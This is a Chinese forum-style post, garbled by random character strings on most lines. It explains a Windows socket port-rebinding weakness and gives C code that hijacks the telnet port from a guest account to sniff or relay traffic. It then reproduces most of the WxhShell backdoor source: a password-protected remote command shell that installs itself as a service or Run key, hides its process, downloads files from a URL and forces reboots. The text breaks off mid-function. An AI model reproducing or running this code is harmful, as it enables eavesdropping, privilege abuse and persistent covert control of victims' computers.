在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
BO)K=gl;8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
W9nmTz\8 Goa0OC, saddr.sin_family = AF_INET;
D=uU:7m EUZ#o\6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
{WfZE&B q^NI bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
N]f"+ e=S51q_0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
fgcI55&jV{ !? !~8J~ 这意味着什么?意味着可以进行如下的攻击:
</~!5x62Oy s|L}wtc 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
i7]\}w| M|IR7OtLV 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?Ho~6q8O@ OE_;i}58 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
&!7{2E\7C kH:! 7L_= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
_
T ;+* cYHHCaCS 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
P?D;BAP2 O%feB e 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
hn]><kaA )1f8
H,q^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6%'bo`S# 1Q-O&\-xg #include
n
*Y+y #include
=^ #include
Dxj&9Ra #include
h,QC#Ak o DWORD WINAPI ClientThread(LPVOID lpParam);
*2wFLh int main()
o\ss {
s'/b&Idf8 WORD wVersionRequested;
#bk[Zj& DWORD ret;
i4"BN,NZ{ WSADATA wsaData;
xB.h#x>_` BOOL val;
u17e SOCKADDR_IN saddr;
u!wR SOCKADDR_IN scaddr;
<<a1a int err;
=/_tQR~ SOCKET s;
MA9Oi(L)K SOCKET sc;
ey4RKk, int caddsize;
ue?e}hF HANDLE mt;
JQSp2b@'H DWORD tid;
k.UQT^. wVersionRequested = MAKEWORD( 2, 2 );
UvwO/A\Gv err = WSAStartup( wVersionRequested, &wsaData );
! 2]eVO if ( err != 0 ) {
7Q_AZR4 printf("error!WSAStartup failed!\n");
~CTe5PX c return -1;
7;]n+QRfm }
>\J({/ #O saddr.sin_family = AF_INET;
mBb;:-5 ){'Ef_/R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
53vnON#{* iv3=J
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;S,k
U{F saddr.sin_port = htons(23);
(7v]bqfw if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/3( a'o[ {
cu)ssT printf("error!socket failed!\n");
os<YfMM<:/ return -1;
/E(319u_ }
mPhrMcL
val = TRUE;
Ab|
tE5% //SO_REUSEADDR选项就是可以实现端口重绑定的
ui_nvD: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Q7<_>)e^ {
5X8GR5P printf("error!setsockopt failed!\n");
Io8h 8N- return -1;
w4 R!aWLd }
kX0hRX //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
km%c0: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
\U(;%V //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
iR_j
h=2{ uL.)+E if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
16;r+.FB' {
+`y{r^xD ret=GetLastError();
"4`i]vy8 printf("error!bind failed!\n");
%
~!A, return -1;
701mf1a }
y;'yob listen(s,2);
i .O670D while(1)
A>C&`A=- {
U04TVQn` caddsize = sizeof(scaddr);
j<BW/ //接受连接请求
CxvL!ew sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
yJyovfJz. if(sc!=INVALID_SOCKET)
V'-}B6 3S> {
?W6qwm,?L mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
nTG @=C# if(mt==NULL)
{Kbb4%P+h {
@y"/hh_? printf("Thread Creat Failed!\n");
:TPT]q
d@ break;
H K]-QTEn }
#pe#(xoI }
RB,`I#z1f CloseHandle(mt);
@ PboT1 }
\B72 #NR closesocket(s);
iZ^tLnc WSACleanup();
n5Coxvy1 return 0;
c >8IM }
8ztVv DWORD WINAPI ClientThread(LPVOID lpParam)
fN!ci'] {
:NHP," SOCKET ss = (SOCKET)lpParam;
pm)kocG SOCKET sc;
w)nFH)f unsigned char buf[4096];
5c8tH= SOCKADDR_IN saddr;
Ci?BJ, long num;
_m?TEqB DWORD val;
`f|Gw5R DWORD ret;
j=q*b Qr //如果是隐藏端口应用的话,可以在此处加一些判断
t\GoUeH] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&1!T@^56 saddr.sin_family = AF_INET;
BXzn-S saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Bv=
saddr.sin_port = htons(23);
x/<eY<Vgm? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%>)HAx ` {
GBh$nVn$ printf("error!socket failed!\n");
nfj8z@! return -1;
ls;!Og9 }
B IW?/^ val = 100;
>TKl`O if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
?KB+2]7m6 {
uG\ @e'pr ret = GetLastError();
Ro2Ab^rQ| return -1;
fRt`]o:Om }
6bE~m<B\` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
D
,U#z {
,
z-#B] ret = GetLastError();
c[E" return -1;
6_&uYA<8pE }
VB}4#-dG? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
y
E;n.L {
f4mQDRlD printf("error!socket connect failed!\n");
-;1nv:7Z3 closesocket(sc);
l KdY!j" closesocket(ss);
],W/IDv return -1;
0%W0vTvL }
Q>%{Dn\? while(1)
r;7&U<j~Z {
]ChGi[B~9 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
5#WyI#YNG //如果是嗅探内容的话,可以再此处进行内容分析和记录
~zd+M/8 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
4#MPD num = recv(ss,buf,4096,0);
='[J. if(num>0)
\nzaF4+$ send(sc,buf,num,0);
C"gH>G else if(num==0)
gP13n!7 break;
'(6
^O= num = recv(sc,buf,4096,0);
;^"#3_7T] if(num>0)
SjmWlf, send(ss,buf,num,0);
2[V9`r8* else if(num==0)
qQ{i2D%)?f break;
+YX*.dW }
xY=%+o.?* closesocket(ss);
*"HA=-Z; closesocket(sc);
> &V Y return 0 ;
I'%\
E, }
x%`.L6rj \F; S 5bZjW~d ==========================================================
e,X{.NS yu.N> [= 下边附上一个代码,,WXhSHELL
O: J;zv\ Cqra\ ==========================================================
@p\te7(P% 5*#3v:l/9 #include "stdafx.h"
+lNAog 4iPxtVT #include <stdio.h>
X }""=
S< #include <string.h>
w vnuE<o8 #include <windows.h>
NDo>"in #include <winsock2.h>
FSNzBN #include <winsvc.h>
>hFg,5 _l3 #include <urlmon.h>
dBeZx1Dy A.|98*U% #pragma comment (lib, "Ws2_32.lib")
2@jlF!zC #pragma comment (lib, "urlmon.lib")
M&h`uO/[ DxvD 1u #define MAX_USER 100 // 最大客户端连接数
<uf,@N5m #define BUF_SOCK 200 // sock buffer
M~O$,dof #define KEY_BUFF 255 // 输入 buffer
d^:(-2l- ?AlTQL~c #define REBOOT 0 // 重启
)*m#RqLQ8 #define SHUTDOWN 1 // 关机
bpaS(nBy 7,!$lT# #define DEF_PORT 5000 // 监听端口
x 3C^ S~ 8jdEx&K #define REG_LEN 16 // 注册表键长度
+wpQ$)\ #define SVC_LEN 80 // NT服务名长度
8j^3_lD mW 4{* // 从dll定义API
Cu,#w3JR typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
na0-v- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
pN-c9n4#j typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
x#hGJT typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
dFw>SYrpu q)F@f / // wxhshell配置信息
xU(yc}vw, struct WSCFG {
%AV[vr, int ws_port; // 监听端口
=JM !`[ char ws_passstr[REG_LEN]; // 口令
(\A~SKEX int ws_autoins; // 安装标记, 1=yes 0=no
iqAME%m char ws_regname[REG_LEN]; // 注册表键名
AZ'"Ua char ws_svcname[REG_LEN]; // 服务名
UPr8Q^wm char ws_svcdisp[SVC_LEN]; // 服务显示名
QZO9CLX 8k char ws_svcdesc[SVC_LEN]; // 服务描述信息
J.g4I|{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,>vI|p,/G* int ws_downexe; // 下载执行标记, 1=yes 0=no
:h!&.FB char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
;R4qE$u2^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
<ZwmXD.VD 0'nY };
Ed ,O>( z'rB_l // default Wxhshell configuration
+H `FC struct WSCFG wscfg={DEF_PORT,
E==vk~cz "xuhuanlingzhe",
%.mHV7c)% 1,
w.9'TR "Wxhshell",
m{VC1BkZ "Wxhshell",
9i`sSi8
"WxhShell Service",
V.H<KyaJ "Wrsky Windows CmdShell Service",
O<}KrmUC~ "Please Input Your Password: ",
n| [RXpAp3 1,
jv5Os- "
http://www.wrsky.com/wxhshell.exe",
jC3)^E@:" "Wxhshell.exe"
w}:&+B: };
s<`54o , nLjc.Z\Bl // 消息定义模块
.`5BgX7W char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
4.o[:5' char *msg_ws_prompt="\n\r? for help\n\r#>";
#CcWsI>+w> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
:,*{,^2q: char *msg_ws_ext="\n\rExit.";
u^Ss8}d char *msg_ws_end="\n\rQuit.";
zZ})$Ny( char *msg_ws_boot="\n\rReboot...";
!-<PV char *msg_ws_poff="\n\rShutdown...";
0!(BbQnWI char *msg_ws_down="\n\rSave to ";
uNS ]n} -'F? | char *msg_ws_err="\n\rErr!";
[(D^`K<b char *msg_ws_ok="\n\rOK!";
x J[Xmre 15L0B5(3 char ExeFile[MAX_PATH];
u''~nSR3& int nUser = 0;
k\wcj^"cb HANDLE handles[MAX_USER];
^a?H" int OsIsNt;
$Eh8s( \UR/tlw+/ SERVICE_STATUS serviceStatus;
DAHQ7#qfQC SERVICE_STATUS_HANDLE hServiceStatusHandle;
[pgld9To mO~A}/je // 函数声明
O%R*1
P9 int Install(void);
"<LVA2v; int Uninstall(void);
|8<P%:*N int DownloadFile(char *sURL, SOCKET wsh);
0//B+.# int Boot(int flag);
uZA^o void HideProc(void);
}+3IM1VTW{ int GetOsVer(void);
#5a'Z+ int Wxhshell(SOCKET wsl);
l;'#!hC) void TalkWithClient(void *cs);
Btu=MUS int CmdShell(SOCKET sock);
d%C:%d int StartFromService(void);
Ad'b{C% int StartWxhshell(LPSTR lpCmdLine);
RbA.%~jjx* SeX:A)*ez% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
?RI&7699+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
tM&;b?bJ[ oyt#C HX // 数据结构和表定义
wNt-mgir-Q SERVICE_TABLE_ENTRY DispatchTable[] =
CTOrBl$70 {
U2@Mxw {wscfg.ws_svcname, NTServiceMain},
ocbNf'W; {NULL, NULL}
N-9qNLSP };
@*}?4wU^k zJCm0HLJ // 自我安装
Zv8I`/4? int Install(void)
PRi3=3oF {
H6Qb]H.C char svExeFile[MAX_PATH];
!/|^
)d^U HKEY key;
`kERM-@A strcpy(svExeFile,ExeFile);
xw5LPz;B M!nwcxB! // 如果是win9x系统,修改注册表设为自启动
leMcY6 if(!OsIsNt) {
-g`3;1EV^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z-wvdw]$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ZZJXd+Q} RegCloseKey(key);
0*-nVC1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RxZ#`$F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
))z1T 8 RegCloseKey(key);
48 | u{ return 0;
e_{!8u.+ }
7HkQ|~zGT }
Tl2e?El;4 }
;?`l1:C5) else {
?5yj</W gY=Ry=w9 // 如果是NT以上系统,安装为系统服务
JMa[Ulz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
rDvz2p"R if (schSCManager!=0)
; Da[jFP {
us,1:@a)a SC_HANDLE schService = CreateService
tm[e?+Iq (
y!;PBsU%Sx schSCManager,
`4N{x.N wscfg.ws_svcname,
Pa}B0XBWP wscfg.ws_svcdisp,
['l.]k-b} SERVICE_ALL_ACCESS,
Uq8=R)1<|d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@T6Z3Zj} SERVICE_AUTO_START,
G>q16nS~KP SERVICE_ERROR_NORMAL,
5HAIKc svExeFile,
1FO T NULL,
<y30t[.E6 NULL,
{ylhh%t4hi NULL,
Zagj1OV| NULL,
_a e&@s1 NULL
=cN!h"C[ );
_=\=oC if (schService!=0)
/e0cx:.w {
qauZ-Qoc9 CloseServiceHandle(schService);
:1O1I2L0 CloseServiceHandle(schSCManager);
/V%]lmxQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{g7[3WRy strcat(svExeFile,wscfg.ws_svcname);
D]UqM<0Rz if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
dU4G! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
D" 4*& RegCloseKey(key);
%^C.e* return 0;
V;V,G+0Re }
OSsxO(;g }
aYyUe> CloseServiceHandle(schSCManager);
},=0]tvZG# }
`Rc7*2I)l }
cIIt ;q[ uv,_?x\' return 1;
dT9ekNQB }
k'd(H5A ps*dO // 自我卸载
ERE1XOe=D int Uninstall(void)
YsHZFF {
C;3>q*Am4 HKEY key;
22<T.c 5}/TB_W7j if(!OsIsNt) {
<R?_Yjsw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Po:)b RegDeleteValue(key,wscfg.ws_regname);
guC7!P^ RegCloseKey(key);
4p%=8G| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
rkW2_UTZE RegDeleteValue(key,wscfg.ws_regname);
{0#p, l RegCloseKey(key);
WLTraB[? return 0;
_Wjd`* }
p
FkqDU }
!QB(M@1 }
0H6^2T< else {
1{.=T&eG# mu1Lg s$; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
8>}^W if (schSCManager!=0)
s]X]jfA. {
0uf'6<f R SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*vss if (schService!=0)
gDmwJr {
Nm0kMq|h if(DeleteService(schService)!=0) {
zgdOugmmt_ CloseServiceHandle(schService);
-[I}"Glz: CloseServiceHandle(schSCManager);
^:0epj7 return 0;
cN{-&\
6L }
e (^\0 =u< CloseServiceHandle(schService);
B>11 }
+P&;cCV`S3 CloseServiceHandle(schSCManager);
G(puC4 "& }
=HF||p@ }
Y68T&swD =DhzV
D return 1;
'5ZtB< }
E,#J\)'z `+!GoXI // 从指定url下载文件
M=}vDw]Q int DownloadFile(char *sURL, SOCKET wsh)
`W8A* {
qGE?[\t[6 HRESULT hr;
,AC+s"VS char seps[]= "/";
9*@K l`\ char *token;
-'tgr6=|w" char *file;
bIP'(B#1K char myURL[MAX_PATH];
ZjE!?
'(ef char myFILE[MAX_PATH];
4I>I |$r|DX1[ strcpy(myURL,sURL);
;btH[a iV token=strtok(myURL,seps);
zk[%YG& while(token!=NULL)
v;9VX
{
V8z91 file=token;
]Y3|*t(\ token=strtok(NULL,seps);
S)@95pb }
M.Fu>Xi ?Afx{H7 GetCurrentDirectory(MAX_PATH,myFILE);
:>Gm&w
(n strcat(myFILE, "\\");
?s<'3I{F` strcat(myFILE, file);
dnby &-+T send(wsh,myFILE,strlen(myFILE),0);
g2=5IU< send(wsh,"...",3,0);
LDJ=<c! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
fR>(b?C if(hr==S_OK)
ldJ:A*/M6 return 0;
V 4RtH else
JZ[~3swR return 1;
QOECpk- 3q=A35*LT> }
w,\#)<boyb 5N:THvh6o // 系统电源模块
L`yyn/2> int Boot(int flag)
y7I')}SC {
|]5g+sd HANDLE hToken;
V}#2pP TOKEN_PRIVILEGES tkp;
H4HWr6 fz`+j
-u if(OsIsNt) {
x,\PV> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
a*}ZT,V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Z=sC YLm tkp.PrivilegeCount = 1;
)+[{MR' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
YQ`GOP#/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8F(_V qu if(flag==REBOOT) {
eZ]4,,m if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
P5+FZzQ return 0;
0Ts[IHpg&E }
#'Q_eBX else {
tQy@d_a=y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(mvAEN+y return 0;
Bv^{|w }
(;o,t?:d }
Nb[z+V{= else {
4c2*)x$@ if(flag==REBOOT) {
=kq!e if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
z G
{1; return 0;
llbj-9OZL }
93|u.
@lEy else {
; 4E0%@R if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
q%=`PCty return 0;
S6 F28 d[j }
nn@"68]g }
N\IdZX%u %3 ecV$ return 1;
8>TDrpT} }
&p1Et 9-DDly [)4 // win9x进程隐藏模块
$cri"G void HideProc(void)
}>cQ}6n. {
sKhX0,s& .(tga&] HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S1pikwB if ( hKernel != NULL )
7E$
e1= {
!2WRxM pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~_P,z? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
.~0A*a FreeLibrary(hKernel);
(( 0%>HJ{~ }
%+iJpRK)7 -I.OvzQ* return;
~Dw.3P:- }
CUB= T] M3j_sd'N // 获取操作系统版本
>3
Q%Yn int GetOsVer(void)
!Y3w]_x[: {
J7BfH,o OSVERSIONINFO winfo;
~S)o(' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
B*A{@)_ GetVersionEx(&winfo);
0+b1R}!2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
C8%Io l return 1;
83UIH0( else
d-g&TSGd return 0;
2H8,&lY.p }
&ZgB b 2{zFO3i<3 // 客户端句柄模块
|q5R5mQ int Wxhshell(SOCKET wsl)
:Vc+/ZyW {
&[}T41 SOCKET wsh;
n83,MV?- struct sockaddr_in client;
}E+}\& DWORD myID;
>ZKE yz!j9pJ while(nUser<MAX_USER)
IiV:bHUE}0 {
p%_#"dkC7 int nSize=sizeof(client);
]R/VE"- wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
m M!H}| if(wsh==INVALID_SOCKET) return 1;
ba^cw}5 [G^ir handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~p{.4n2: if(handles[nUser]==0)
Q_'3}:4 closesocket(wsh);
zFh
JLH*C else
lL~T@+J~ nUser++;
0t<]Uf }
+]/_gz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
5An|#^] MzRURH, return 0;
2~+_T }
|?0Cm|? A,rgN;5fb // 关闭 socket
2-i>ymoOS void CloseIt(SOCKET wsh)
b(dIl)Y4
: {
uYAPGs#k closesocket(wsh);
O:3pp8 nUser--;
Z[
}0K3,5 ExitThread(0);
S+A'\{f }
QD%~A0
Pp1HOJYJp0 // 客户端请求句柄
`<2y
[<y void TalkWithClient(void *cs)
MK7S*N1 {
't
\:@-tQ ,9gyHQ~ SOCKET wsh=(SOCKET)cs;
Fxy-_%a char pwd[SVC_LEN];
g5/%}8[-
2 char cmd[KEY_BUFF];
|*"uj char chr[1];
u1O?` int i,j;
E~]8>U?V ^HumyDD6 while (nUser < MAX_USER) {
P&C,E E$ E^ _P if(wscfg.ws_passstr) {
x]lv:m\)jT if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
w1EYXe //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S P)$K= //ZeroMemory(pwd,KEY_BUFF);
=1fO"|L i=0;
g<O*4
]= while(i<SVC_LEN) {
-Y%#z'^- {XiBRs e // 设置超时
2>0[^ .;" fd_set FdRead;
_, /m struct timeval TimeOut;
/o#!9H FD_ZERO(&FdRead);
P0,)
Gw FD_SET(wsh,&FdRead);
8SK}#44Xz TimeOut.tv_sec=8;
0\O*\w? TimeOut.tv_usec=0;
.|$6Pi%! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
oX@nWQBc_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
utKtxLX" 'x
BBQP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
{`BC$V pwd
=chr[0]; 9'C kV [
if(chr[0]==0xd || chr[0]==0xa) { D`PnY&ffT
pwd=0; EAp6IhW{
break; 4UmTA_& Io
} ;LNFPo
i++; Ath^UKO"
} aPaGnP:^
4A.ZMH
// 如果是非法用户,关闭 socket C,+6g/{
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nJ |O,*`O
} X64OX9:YF
"knSc0,u
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W+V#z8K
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Es6b~#
/~V.qisZ
while(1) { <@ D`16%&
'm9f:iTr
ZeroMemory(cmd,KEY_BUFF); LGZ5py=xb
6b4Kcl <i
// 自动支持客户端 telnet标准 <_-&{Pv
j=0; )vO;=%GQ
while(j<KEY_BUFF) { cZT;VmC
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =XsdR?C
cmd[j]=chr[0]; m{Jo'*%8f
if(chr[0]==0xa || chr[0]==0xd) { y^_'g2H
cmd[j]=0; ,$@nbS{Q]
break; H[?~u+
} ja*k\w{U'
j++; tJo,^fdfv
} zd AqGQfc
GJW+'-f
// 下载文件 6*%3O=*
if(strstr(cmd,"http://")) { 8WK%g0gm
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5OP$n]|(
if(DownloadFile(cmd,wsh)) Ac!,#Fq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eYBo*
else [RG&1~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); betN-n-
} ) \Mwv&k1
else { K[Bq,nPo
pZp|F
switch(cmd[0]) { qW[p .jN
]C^D5(t/cd
// 帮助 q1a}o%
case '?': { b;K>Q!(|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6z@OGExmd#
break; WV_y@H_
} de]r9$D
// 安装
9H:5XR
case 'i': { 7q?u`3l
if(Install()) j J6Y z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @sv==|h
else H S/1z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tyt:Abym=
break; BUB#\v#a
} eSf
e
s
// 卸载 x;"!
case 'r': { ;mH1J'.(a
if(Uninstall()) ]^MOFzSz~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dk~ h
else 0mo^I==J1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D(xgadr
break; ,
"w`,c>!
} r(NfVQF
// 显示 wxhshell 所在路径 =ZM #_uW
case 'p': { 8$a4[s
char svExeFile[MAX_PATH]; {Buoo~
strcpy(svExeFile,"\n\r"); &\8.y2=9p
strcat(svExeFile,ExeFile); *m:h0[[J
send(wsh,svExeFile,strlen(svExeFile),0); nB2AmS
break; :UMg5eZ
} *%_:[>
// 重启 > ^fY`x,
case 'b': { R<
@o]p
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e:}8|e~T
if(Boot(REBOOT)) Q#P=t83
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qR0V\OtgY~
else { -C.x;@!k
closesocket(wsh); qp
(ng8%c
ExitThread(0); 0/P!rH9
} iOz<n
z
break; U*F|Z4{W
} INSI$tA~
// 关机 -\:#z4Tc
case 'd': { Q#xeu
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'SF+P)Kmz
if(Boot(SHUTDOWN)) |eL&hwqzG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iA*Z4FKkT
else { a*JM2^,HO
closesocket(wsh); |,M&ks
ExitThread(0); r*]0PQ{?
}
@>f]0,"(
break; 0L10GJ "(
} [o8a(oC
// 获取shell 1\1a;Q3W%,
case 's': { -e7|DXj
CmdShell(wsh); ?l#9ydi?
closesocket(wsh); s>z$_
ExitThread(0); '8>h4s4
break; 6dTq&GZ\
} dq~p]h~,H
// 退出 AH`D&V
case 'x': { q:sDNj)R\
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6W$ #`N>
CloseIt(wsh); NhQIpzL)
break; b $x<7l5C
} @
fm\
H
// 离开 fVv#|
case 'q': { }CZ,WJz=
send(wsh,msg_ws_end,strlen(msg_ws_end),0); UN_f2
closesocket(wsh); ):?ype>
WSACleanup(); p.i$[6M
exit(1); p3O%|)yV
break; o>#<c
@
} zMb7a_W
} t$=FcKUV}f
} U~Aw=h5SD
^zkTV_,cRp
// 提示信息 Rt~Aud[
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J'^s5hxn+0
} 5}
|O
} , M$*c
SPW @TF1
return; d_#\^!9
} m>2b %GTh
lGqwB,K$z4
// shell模块句柄 XPXC7_fV
int CmdShell(SOCKET sock) `*PVFm>
{ p%Ae"#_X%
STARTUPINFO si; WpC@nz?
ZeroMemory(&si,sizeof(si)); ncJ}h\:Sk
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3 2Q/4
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~!~VC)a*
PROCESS_INFORMATION ProcessInfo; ^ cN-
char cmdline[]="cmd"; 5)V]qV$
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); evsH>hE^
return 0; C- ]H+p
} q]:+0~cz
n"Ec %n
// 自身启动模式 l)D18
int StartFromService(void) Y{Kpopst
{ |s|>46E
typedef struct !Jb?rSJ.h
{ 4?M=?K0
DWORD ExitStatus; O;
EI&
DWORD PebBaseAddress; 94I8~Jj4
DWORD AffinityMask; @]tFRV
DWORD BasePriority; F0:Fv;
